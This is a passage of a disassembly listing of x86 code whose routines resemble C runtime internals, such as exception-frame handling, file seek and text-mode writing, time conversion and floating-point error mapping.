sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 call near ptr 2670000h nop loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2780000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F call near ptr 26908FFh nop jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j call near ptr 26908FFh nop mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2700000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call near ptr 26908FFh nop mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2650000h test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi call near ptr 2660000h nop test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2830000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 28210E3h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 26404ACh loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch 